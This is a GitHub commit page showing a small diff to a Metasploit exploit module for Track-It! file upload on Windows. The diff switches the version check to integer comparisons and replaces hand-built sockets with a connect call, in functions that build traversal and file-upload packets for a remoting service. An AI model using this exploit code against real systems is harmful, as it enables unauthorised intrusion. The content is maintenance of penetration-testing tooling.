Skip to content

Commit c78651f

Browse files
author
Pedro Ribeiro
committed
Use numbers for version tracking
1 parent 0a97952 commit c78651f

File tree

1 file changed

+5
-7
lines changed

1 file changed

+5
-7
lines changed

modules/exploits/windows/http/trackit_file_upload.rb

Lines changed: 5 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -78,9 +78,9 @@ def get_version
7878
def check
7979
version = get_version
8080
if version != nil
81-
if (version[0] < "11") or
82-
(version[0] == "11" and version[1] <= "3") or
83-
(version[0] == "11" and version[1] == "3" and version[2] == 0 and version[3] < "999")
81+
if (version[0].to_i < 11) or
82+
(version[0].to_i == 11 and version[1].to_i <= 3) or
83+
(version[0].to_i == 11 and version[1].to_i == 3 and version[2].to_i == 0 and version[3].to_i < 999)
8484
ctx = { 'Msf' => framework, 'MsfExploit' => self }
8585
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => datastore['RPORT_REMOTING'], 'Context' => ctx })
8686
if not sock.nil?
@@ -188,8 +188,7 @@ def get_traversal_path
188188

189189
buf << @packet_terminator.pack('C*')
190190

191-
ctx = { 'Msf' => framework, 'MsfExploit' => self }
192-
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => @remoting_port, 'Context' => ctx })
191+
sock = connect
193192
if sock.nil?
194193
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{@remoting_port.to_s} - Failed to connect to remoting service")
195194
else
@@ -420,8 +419,7 @@ def send_file(traversal_path, filename, file_content)
420419
buf << @packet_terminator.pack('C*')
421420

422421
# send the packet and ignore the response
423-
ctx = { 'Msf' => framework, 'MsfExploit' => self }
424-
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => @remoting_port, 'Context' => ctx })
422+
sock = connect
425423
if sock.nil?
426424
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{@remoting_port.to_s} - Failed to connect to remoting service")
427425
else

0 commit comments

Comments
 (0)